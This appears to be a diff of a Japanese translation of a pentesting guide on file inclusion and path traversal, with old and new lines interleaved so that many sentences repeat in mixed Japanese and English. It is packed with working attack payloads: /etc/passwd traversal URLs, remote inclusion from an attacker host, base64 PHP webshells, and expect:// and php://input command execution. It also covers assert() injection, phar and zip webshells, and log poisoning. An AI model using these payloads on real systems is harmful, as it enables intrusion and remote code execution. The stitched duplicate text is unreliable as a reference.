- 最後の6文字が`passwd`の場合、`/`を追加しても(`passwd/`にすること)、ターゲットファイルは変更されません。
- 同様に、ファイルパスに`.php`を追加した場合(`shellcode.php`のように)、末尾に`/.`を追加してもアクセスされるファイルは変更されません。
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
提供された例は、パストランケーションを利用して、機密情報(ユーザーアカウント情報)を含む一般的なターゲットである`/etc/passwd`にアクセスする方法を示しています:
The provided examples demonstrate how to utilize path truncation to access `/etc/passwd`, a common target due to its sensitive content (user account information):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
これらのシナリオでは、必要なトラバーサルの数は約2027回になる可能性がありますが、この数はサーバーの設定によって異なる場合があります。
これらのシナリオでは、必要な traversals の数は約2027になることがありますが、この数はサーバの構成によって変わる可能性があります。
- **ドットセグメントと追加文字の使用**: トラバーサルシーケンス(`../`)を追加のドットセグメントや文字と組み合わせることで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を効果的に無視することができます。
- **必要なトラバーサルの数を決定する**: 試行錯誤を通じて、ルートディレクトリに移動し、その後`/etc/passwd`に移動するために必要な正確な`../`シーケンスの数を見つけることができます。この際、追加された文字列(例えば`.php`)が無効化されることを確認し、目的のパス(`/etc/passwd`)がそのまま残るようにします。
- **偽のディレクトリから始める**: 存在しないディレクトリ(例えば`a/`)でパスを始めるのは一般的な手法です。この技術は予防策として、またはサーバーのパス解析ロジックの要件を満たすために使用されます。
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) と追加のドットセグメントや文字を組み合わせることで、ファイルシステムを移動でき、サーバが付加した文字列を事実上無視できます。
- **Determining the Required Number of Traversals**: 試行錯誤により、root ディレクトリへ、さらに `/etc/passwd` に到達するために必要な正確な `../` シーケンスの数を見つけることができ、`.php` のような付加文字列を無効化しつつ、目的のパス (`/etc/passwd`) を保持できます。
- **Starting with a Fake Directory**: パスを存在しないディレクトリ(例えば `a/`)で開始するのは一般的な手法です。このテクニックは予防措置として、またはサーバのパス解析ロジックの要件を満たすために使用されます。
パストランケーション技術を使用する際は、サーバーのパス解析の挙動とファイルシステムの構造を理解することが重要です。各シナリオには異なるアプローチが必要な場合があり、最も効果的な方法を見つけるためにはテストがしばしば必要です。
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
**この脆弱性はPHP 5.3で修正されました。**
**この脆弱性は PHP 5.3 で修正されました。**
### **フィルターバイパストリック**
### **Filter bypass tricks**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -143,47 +143,47 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## リモートファイルインクルージョン
## Remote File Inclusion
In php this is disable by default because **`allow_url_include`** is **Off.** It must be **On** for it to work, and in that case you could include a PHP file from your server and get RCE:
phpではデフォルトで無効になっています。理由は **`allow_url_include`** が **Off.** だからです。動作させるには **On** にする必要があり、その場合は自分のサーバーから PHP ファイルをインクルードして RCE を得ることができます:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
もし何らかの理由で **`allow_url_include`** が **On** であるが、PHPが外部ウェブページへのアクセスを **フィルタリング** している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) によれば、例えばデータプロトコルを使用してbase64でエンコードされたPHPコードをデコードし、RCEを取得することができます:
もし何らかの理由で **`allow_url_include`** が **On** になっているが、PHP が外部ウェブページへのアクセスを **フィルタリング** している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) によれば、例えば data protocol と base64 を使って b64 PHP コードをデコードし、egt RCE を得ることができます:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> 前のコードでは、最終的な `+.txt` が追加されました。これは攻撃者が `.txt` で終わる文字列を必要としたためで、文字列はそれで終わり、その後の b64 デコードではその部分が無駄なデータを返し、実際の PHP コードが含まれる(したがって、実行される)ことになります。
> 前のコードでは、最後の `+.txt` は攻撃者が `.txt` で終わる文字列を必要としたため追加されました。つまり文字列はそれで終わり、b64 decode の後、その部分は単なるゴミを返し、実際の PHP コードがインクルード(したがって、実行)されます。
別の例として **`php://` プロトコルを使用しない** ものは次の通りです:
Another example **not using the `php://` protocol** would be:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python ルート要素
In python in a code like this one:
次のような python のコードでは:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
ユーザーが**`file_name`**に**絶対パス**を渡すと、**前のパスは単に削除されます**:
ユーザーが **絶対パス****`file_name`** に渡した場合、**前のパスは単に削除されます**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
それは、[the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) による意図された動です:
これは [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) による意図された動です:
> コンポーネントが絶対パスである場合、すべての前のコンポーネントは破棄され、結合は絶対パスコンポーネントから続行されます。
> コンポーネントが絶対パスである場合、以前のすべてのコンポーネントは破棄され、結合はその絶対パスコンポーネントから続行されます。
## Java ディレクトリのリスト
## Java ディレクトリ一覧
Javaでパストラバーサルがある場合、**ファイルの代わりにディレクトリを要求すると、** **ディレクトリのリストが返されます**。これは他の言語では発生しないでしょう(私の知る限り)
JavaでPath Traversalがある場合、ファイルではなく**ディレクトリを要求すると**、**ディレクトリの一覧が返される**ようです。これは他の言語では起こらない(私の知る限り)ようです
## トップ25パラメータ
## 上位25のパラメータ
ローカルファイルインクルージョンLFI脆弱性に対して脆弱である可能性のあるトップ25パラメータのリストです[link](https://twitter.com/trbughunters/status/1279768631845494787) から
local file inclusion (LFI) の脆弱性を含む可能性がある上位25のパラメータのリストは以下の通りです出典: [link](https://twitter.com/trbughunters/status/1279768631845494787)
```
?cat={payload}
?dir={payload}
@ -211,38 +211,38 @@ Javaでパストラバーサルがある場合、**ファイルの代わりに
?mod={payload}
?conf={payload}
```
## LFI / RFI using PHP wrappers & protocols
## PHP wrappers & protocols を使った LFI / RFI
### php://filter
PHPフィルターは、データが読み込まれる前または書き込まれる前に基本的な**変更操作を実行**することを許可します。フィルターには5つのカテゴリがあります
PHP filters は、データが読み取られたり書き込まれたりする前に基本的な **変更操作** を行うことを可能にします。フィルタには5つのカテゴリがあります
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: データからタグを除します("<" と ">" の間すべて)
- このフィルターは、現代のPHPバージョンからは消えたことに注意してください
- `string.strip_tags`: データからタグを除します("<" と ">" の間にあるすべて)
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。**サポートされているすべてのエンコーディングのリスト**を取得するには、コンソールで `iconv -l` を実行します。
- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。サポートされている **全てのエンコーディングのリスト** を確認するにはコンソールで次を実行してください:`iconv -l`
> [!WARNING]
> `convert.iconv.*` 変換フィルターを悪用することで、**任意のテキストを生成**することができ、任意のテキストを記述したり、includeプロセスを任意のテキストで実行するために役立つ可能性があります。詳細については、[**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)を確認してください。
> `convert.iconv.*` conversion filter を悪用すると任意のテキストを **生成する** ことができ、任意のテキストを書き込んだり、include のような関数に任意のテキストを処理させる際に有用です。詳しくは [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) を参照してください。
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: コンテンツを圧縮します(多くの情報を外部に出す場合に便利)
- `zlib.inflate`: データを解凍します
- `zlib.deflate`: コンテンツを圧縮します (useful if exfiltrating a lot of info)
- `zlib.inflate`: データを展開します
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : 非推奨
- `mdecrypt.*` : 非推奨
- Other Filters
- phpで `var_dump(stream_get_filters());` を実行すると、いくつかの**予期しないフィルター**を見つけることができます:
- PHPで `var_dump(stream_get_filters());` を実行すると、いくつかの **予期しないフィルタ** が見つかります:
- `consumed`
- `dechunk`: HTTPチャンクエンコーディングを逆転させます
- `dechunk`: HTTP の chunked encoding を元に戻します
- `convert.*`
```php
# String Filters
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> "php://filter"の部分は大文字と小文字を区別しません
> 部分 "php://filter" は大文字小文字を区別しません
### phpフィルタをオラクルとして使用して任意のファイルを読み取る
### php filters を oracle として使用して任意のファイルを読み取る
[**この記事では**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) サーバーからの出力を返さずにローカルファイルを読み取る技術が提案されています。この技術は、**phpフィルタをオラクルとして使用してファイルをブール的に抽出文字ごとに**することに基づいています。これは、phpフィルタを使用してテキストを大きくし、phpが例外をスローするようにするためです。
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) では、サーバーから出力が返されない状態でもローカルファイルを読み取る手法が提案されています。この手法は **php filters を oracle として用いたファイルのブール的エクスフィルトレーション(文字ごと)** に基づいています。これは php filters を使ってテキストを十分に大きくし、php に例外を発生させることができるためです。
元の記事には技術の詳細な説明がありますが、ここでは簡単な要約を示します:
オリジナルの投稿には手法の詳細な説明がありますが、ここでは簡潔にまとめます:
- コーデック **`UCS-4LE`** を使用してテキストの先頭に先行文字を残し、文字列のサイズを指数関数的に増加させます。
- これは、**初めの文字が正しく推測されたときに非常に大きなテキストを生成するために使用され**、phpが**エラー**をトリガーします。
- **dechunk**フィルタは、**最初の文字が16進数でない場合はすべてを削除**するため、最初の文字が16進数かどうかを知ることができます。
- これに加えて前述のものおよび推測された文字に応じた他のフィルタを組み合わせることで、テキストの最初の文字を推測することができ、十分な変換を行うことでそれが16進数文字でなくなることがわかります。なぜなら、16進数であればdechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。
- コーデック **convert.iconv.UNICODE.CP930**、すべての文字を次の文字に変換しますこのコーデックの後a -> b。これにより、最初の文字が`a`であるかどうかを発見することができます。たとえば、6回このコーデックを適用するとa->b->c->d->e->f->gとなり、その文字はもはや16進数文字ではなくなるため、dechunkはそれを削除せず、phpエラーが初期の爆弾と掛け算されてトリガーされます。
- **rot13**のような他の変換を最初に使用することで、n、o、p、q、rなどの他の文字を漏洩させることが可能です他のコーデックを使用して他の文字を16進数範囲に移動させることができます)。
- 最初の文字が数字の場合、それをbase64エンコードし、最初の2文字を漏洩させて数字を漏洩させる必要があります。
- 最後の問題は、**最初の文字以上のものを漏洩させる方法**です。**convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE**のような順序メモリフィルタを使用することで、文字の順序を変更し、テキストの最初の位置に他の文字を取得することが可能です。
- さらに**データを取得する**ためのアイデアは、**最初に2バイトのジャンクデータを生成**し、**convert.iconv.UTF16.UTF16**を適用し、**UCS-4LE**を使用して次の2バイトと**ピボット**し、**ジャンクデータまでデータを削除**することですこれにより初期テキストの最初の2バイトが削除されます。これを繰り返して、漏洩させたいビットに到達するまで続けます。
- コーデック **`UCS-4LE`** を使ってテキストの先頭文字を残し、文字列のサイズを指数的に増やします。
- これにより、最初の文字が正しく推測されたときに php が **エラー** を発生させるほど大きな**テキスト**を生成できます。
- **dechunk** フィルタは **先頭文字が16進数でない場合、すべてを削除する** ため、先頭文字が16進数かどうかを判別できます。
- これと前述のフィルタおよび推測した文字に依存する他のフィルタを組み合わせることで、十分な変換を行ったときに先頭文字が16進数でなくなるかを確認して、テキストの先頭の文字を推測できます。なぜなら、16進数であれば dechunk は削除せず、初期の“爆弾”により php がエラーを起こすからです。
- コーデック **convert.iconv.UNICODE.CP930**各文字を次の文字に変換します(例えば a -> b。これにより先頭文字が例えば `a` であるかを判別できます。というのも、このコーデックを6回適用すると a->b->c->d->e->f->g となり、その文字はもはや16進数の文字ではなくなり、dechunk はそれを削除せず、初期“爆弾”と掛け合わさって php のエラーが発生するためです。
- rot13 のような他の変換を先頭で使うことで、n, o, p, q, r のような他の文字を leak することが可能です他のコーデックを使って他の文字を16進数範囲に移動させることもできます)。
- 先頭文字が数字の場合、base64 エンコードして最初の2文字を leak することで数字を判別する必要があります。
- 最終的な課題は、**最初の文字以上を leak する方法** を考えることです。convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE のような order memory フィルタを使うことで、文字の順序を変更してテキストの他の文字を先頭に持ってくることが可能です。
- さらに **追加データ** を取得できるようにするためのアイデアは、先頭に **2バイトのジャンクデータを生成する****convert.iconv.UTF16.UTF16** で作成し、**UCS-4LE** を適用して **次の2バイトとピボットさせるpivot with the next 2 bytes** 、そして **ジャンクデータまでデータを削除する**これにより元テキストの先頭2バイトが削除されます。これを目的の leak ビットに到達するまで続けます。
この記事では、この操作を自動的に実行するツールも漏洩しました:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)
投稿ではこれを自動化するツールも公開されています: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
このラッパーは、プロセスがオープンしているファイルディスクリプタにアクセスすることを可能にします。開いているファイルの内容を抽出するのに潜在的に役立ちます:
このラッパーはプロセスが開いているファイル記述子にアクセスすることを可能にします。開かれているファイルの内容を抜き出すexfiltrateのに潜在的に有用です:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
**php://stdin、php://stdout、php://stderr**を使用して、それぞれ**ファイルディスクリプタ0、1、2**にアクセスすることもできます(攻撃にどのように役立つかは不明です)。
また、**php://stdin, php://stdout and php://stderr** を使って、それぞれ**ファイル記述子 0, 1, 2** にアクセスできます(攻撃でどのように役立つかは不明です)
### zip:// と rar://
PHPShellを含むZipまたはRarファイルをアップロードしてアクセスます。\
rarプロトコルを悪用できるようにするには、**特に有効化する必要があります**。
内部にPHPShellを含むZipまたはRarファイルをアップロードしてアクセスできます。\
rar protocolを悪用できるようにするには、**明示的に有効化する必要がある**。
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
このプロトコルは、phpの設定 **`allow_url_open`** と **`allow_url_include`** によって制限されています
このプロトコルは php の設定 **`allow_url_open`** および **`allow_url_include`** によって制限されることに注意しください。
### expect://
Expectを有効にする必要があります。これを使用してコードを実行できます:
Expect を有効にする必要があります。これを使てコードを実行できます:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
POSTパラメータにペイロードを指定してください
payload を POST parameters に指定してください:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
`.phar`ファイルは、ウェブアプリケーションが`include`のような関数を使用してファイルを読み込む際にPHPコードを実行するために利用できます。以下のPHPコードスニペットは、`.phar`ファイルの作成を示しています:
`.phar` ファイルは、Webアプリケーションが `include` のようなファイル読み込み関数を利用している場合に、PHPコードを実行するために利用できます。以下のPHPコードスニペットは、`.phar` ファイルの作成を示しています:
```php
<?php
$phar = new Phar('test.phar');
@ -354,94 +354,95 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
`.phar`ファイルをコンパイルするには、次のコマンドを実行する必要があります:
`.phar` ファイルをコンパイルするには、次のコマンドを実行してください:
```bash
php --define phar.readonly=0 create_path.php
```
実行時に、`test.phar`という名前のファイルが作成され、これを利用してローカルファイルインクルージョンLFI脆弱性を悪用する可能性があります。
実行すると、`test.phar` という名前のファイルが作成され、Local File Inclusion (LFI) 脆弱性を悪用するために利用される可能性があります。
LFIがPHPコードを実行せずにファイルを読み取るだけの場合`file_get_contents()``fopen()``file()``file_exists()``md5_file()``filemtime()`または`filesize()`などの関数を通じて、デシリアライズ脆弱性の悪用を試みることができます。この脆弱性は、`phar`プロトコルを使用してファイルを読み取ることに関連しています。
LFI 内部の PHP コードを実行せず、`file_get_contents()``fopen()``file()``file_exists()``md5_file()``filemtime()``filesize()` などの関数を通じてファイルの読み取りのみを行う場合、`phar` プロトコルを用いたファイル読み取りに起因する deserialization 脆弱性の悪用を試みることができます。
`.phar`ファイルの文脈におけるデシリアライズ脆弱性の悪用についての詳細な理解は、以下のリンクされた文書を参照してください:
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
{{#ref}}
phar-deserialization.md
{{#endref}}
### CVE-2024-2961
**phpフィルターをサポートする任意のファイルをPHPから読み取ることを悪用してRCEを得ることが可能でした。** 詳細な説明は[**この投稿で見つけることができます**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
非常に簡単な要約PHPヒープ内の**3バイトオーバーフロー**が悪用され、特定のサイズのフリーチャンクのチェーンを**変更する**ことができるようになり、**任意のアドレスに何でも書き込む**ことができるようになりました。そのため、**`system`**を呼び出すためのフックが追加されました。\
特定のサイズのチャンクを割り当てることが、他のPHPフィルターを悪用して可能でした。
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
非常に簡潔にまとめると: PHP ヒープの **3 byte overflow** が悪用され、特定サイズの free チャンクのチェーンを **alter the chain of free chunks** して任意のアドレスに **write anything in any address** できるようにし、`system` を呼ぶフックが追加されました。\
さらに多くの php filters を悪用して特定サイズのチャンクを alloc することが可能でした。
### さらなるプロトコル
### More protocols
ここに含める可能性のある[ **プロトコルを確認してください**](https://www.php.net/manual/en/wrappers.php)**:**
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかは不明)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(file inclusion attack でどのように有用かは不明)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(S) URLへのアクセス
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(S) URLへのアクセス
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL へのアクセス
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL へのアクセス
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を見つける(何も印刷可能なものを返さないため、ここではあまり役に立たない)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイルを読むには役に立たない)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を検索する(出力は可読形式ではないため、本用途ではあまり有用ではない)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意ファイルの読み取りには向かない)
## PHPの'assert'によるLFI
## LFI via PHP's 'assert'
PHPにおけるローカルファイルインクルージョンLFIのリスクは、文字列内でコードを実行できる'assert'関数を扱う際に特に高くなります。これは、".."のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。
PHP における Local File Inclusion (LFI) のリスクは、文字列内のコードを実行できる 'assert' 関数を扱う場合に特に高くなります。特に、".." のようなディレクトリトラバーサル文字を含む入力がチェックされても適切にサニタイズされていない場合に問題となります。
例えば、PHPコードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります
For example, PHP code might be designed to prevent directory traversal like so:
```bash
assert("strpos('$file', '..') === false") or die("");
```
の対策はトラバーサルを防ぐことを目的としていますが、意図せずコードインジェクションのベクターを作成します。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のような手法を使用できます:
れは traversal を防ぐことを目的としているが、意図せずに code injection のベクターを生み出してしまう。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のようなものを使うことができる:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
同様に、任意のシステムコマンドを実行するために、次のようなものを使用することがあります:
同様に、任意のシステムコマンドを実行するには、次のようなものが使われることがあります:
```plaintext
' and die(system("id")) or '
```
重要なのは、**これらのペイロードをURLエンコードすること**です
重要なのは、**URL-encode these payloads**
## PHP ブラインドパス トラバーサル
## PHP Blind Path Traversal
> [!WARNING]
> この技術は、**ファイルパス**を**制御**できる**PHP関数**が**ファイルにアクセス**する場合に関連していますが、ファイルの内容は表示されません(**`file()`**への単純な呼び出しのように)が、内容は表示されません
> このテクニックは、**PHP関数**がファイルにアクセスする際の**ファイルパス**を**制御**できるが、ファイルの内容が表示されない(例えば単純な呼び出しの**`file()`**のようなケース)場合に関連します
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)では、ブラインドパス トラバーサルがPHPフィルターを介して**エラーオラクルを介してファイルの内容を抽出する**方法が説明されています。
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
要約すると、この技術は**"UCS-4LE"エンコーディング**を使用して、ファイルの内容を非常に**大きく**し、ファイルを開く**PHP関数**が**エラー**を引き起こすようにします。
要約すると、この手法はファイルの内容を非常に大きくするために**"UCS-4LE" encoding**を使い、ファイルを開く**PHP function**が**error**を引き起こすようにします。
次に、最初の文字を漏洩させるためにフィルター**`dechunk`**が使用され、**base64**や**rot13**などの他のフィルターと共に使用され、最終的にフィルター**convert.iconv.UCS-4.UCS-4LE**と**convert.iconv.UTF16.UTF-16BE**が使用されて**他の文字を最初に配置して漏洩させます**
その後、最初の文字をleakするためにフィルタ **`dechunk`** を、**base64** や **rot13** などと組み合わせて使用し、最後にフィルタ **convert.iconv.UCS-4.UCS-4LE** および **convert.iconv.UTF16.UTF-16BE** を使って他の文字を先頭に配置し、それらをleakします
**脆弱である可能性のある関数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (これを使用して読み取り専用のターゲットのみ)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
技術的な詳細については、前述の投稿を確認してください!
技術的な詳細は上記の投稿を参照してください!
## LFI2RCE
### パス トラバーサルによる任意のファイル書き込み (Webshell RCE)
### Arbitrary File Write via Path Traversal (Webshell RCE)
サーバー側のコードがファイルを取り込む/アップロードする際に、ユーザー制御のデータファイル名やURLを使用して宛先パスを構築し、正規化や検証を行わない場合、`..`セグメントや絶対パスが意図したディレクトリを脱出し、任意のファイル書き込みを引き起こす可能性があります。ペイロードをWebに公開されたディレクトリに配置できる場合、通常はWebシェルをドロップすることで認証なしのRCEを得ることができます。
サーバー側のコードが、取り込んだ/アップロードされたファイルの送信先パスをユーザ制御のデータ(例: ファイル名や URLで構築し、正規化や検証を行わない場合、`..` セグメントや絶対パスによって意図したディレクトリから抜け出し、任意のファイル書き込みを引き起こす可能性があります。もしpayloadをweb公開ディレクトリに配置できれば、通常はwebshellを置くことで認証不要のRCEが得られます。
典型的な悪用ワークフロー:
- パス/ファイル名を受け入れ、ディスクにコンテンツを書き込むエンドポイントまたはバックグラウンドワーカーで書き込みプリミティブを特定しますメッセージ駆動の取り込み、XML/JSONコマンドハンドラー、ZIP抽出器など
- Webに公開されたディレクトリを特定します。一般的な例
Typical exploitation workflow:
- パス/ファイル名を受け取りディスクに書き込むプリミティブ(例: メッセージ駆動のingestion、XML/JSONコマンドハンドラ、ZIP extractor 等)をエンドポイントやバックグラウンドワーカーで特定する
- web公開ディレクトリを特定する。一般的な例:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/``shell.jsp`をドロップ
- IIS: `C:\inetpub\wwwroot\``shell.aspx`をドロップ
- 意図したストレージディレクトリからWebルートに脱出するトラバーサルパスを作成し、Webシェルのコンテンツを含めます
- ドロップしたペイロードにアクセスし、コマンドを実行します
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/`drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\`drop `shell.aspx`
- 意図したストレージディレクトリから webroot に抜けるトラバーサルパスを作成し、webshell の内容を含める
- 配置したpayloadにアクセスしてコマンドを実行する
注意:
- 書き込みを行う脆弱なサービスは、非HTTPポートTCP 4004のJMF XMLリスナーでリッスンしている場合があります。メインのWebポータル異なるポートは後でペイロードを提供します。
- Javaスタックでは、これらのファイル書き込みは通常、単純な`File`/`Paths`の連結で実装されています。正規化/許可リストの欠如が根本的な欠陥です。
Notes:
- 書き込みを行う脆弱なサービスは非HTTPポートで待ち受けている場合があります例: TCP 4004 上の JMF XML listener。メインのwebポータル別ポートが後からあなたのpayloadを配信します。
- Javaスタックでは、これらのファイル書き込みは単純な `File`/`Paths` の連結で実装されていることが多いです。正規化canonicalisationや allow-listing の欠如が根本的な欠陥です。
一般的なXML/JMFスタイルの例製品スキーマは異なる DOCTYPE/ボディラッパーはトラバーサルには関係ありません):
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
@ -465,26 +466,26 @@ in.transferTo(out);
</Command>
</JMF>
```
このクラスのバグを克服するための強化策:
- 正規パスに解決し、それが許可リストにあるベースディレクトリの子孫であることを強制する。
- `..`、絶対ルート、またはドライブレターを含むパスを拒否する;生成されたファイル名を優先する。
- ライターを低特権アカウントとして実行し、書き込みディレクトリを提供されるルートから分離する。
この種のバグを防ぐハードニング:
- 正規化されたパスに解決し、それが許可リストにあるベースディレクトリの子孫であることを強制する。
- `..`、絶対ルート、またはドライブ文字を含むパスは拒否する。生成されたファイル名を優先する。
- 書き込み処理を低権限アカウントで実行し、書き込み用ディレクトリを配信ルートから分離する。
## リモートファイルインクルージョン
## Remote File Inclusion
前述の通り、[**このリンクを参照してください**](#remote-file-inclusion)。
前述の通り、[**follow this link**](#remote-file-inclusion)。
### Apache/Nginxログファイル経由
### Apache/Nginx ログファイル経由
ApacheまたはNginxサーバーが**LFIに脆弱**である場合、インクルード関数内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスし、**ユーザーエージェント**または**GETパラメータ**内に**`<?php system($_GET['c']); ?>`**のようなphpシェルを設定し、そのファイルをインクルードしようとすることができます。
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
> [!WARNING]
> シェルに**シングルクォート**の代わりに**ダブルクォート**を使用すると、ダブルクォートが文字列"_**quote;**_"に変更され、**PHPはエラーをスロー**し、**他の何も実行されません**。
> 注意: シェルを **ダブルクォート** で囲むと **シングルクォート** の代わりに、ダブルクォートが文字列 "_**quote;**_" に変更され、**PHP はそこでエラーを投げ**、**それ以降何も実行されません**。
>
> また、**ペイロードを正しく記述する**ことを確認してください。そうしないと、PHPはログファイルを読み込もうとするたびにエラーを出し、二度と機会がありません。
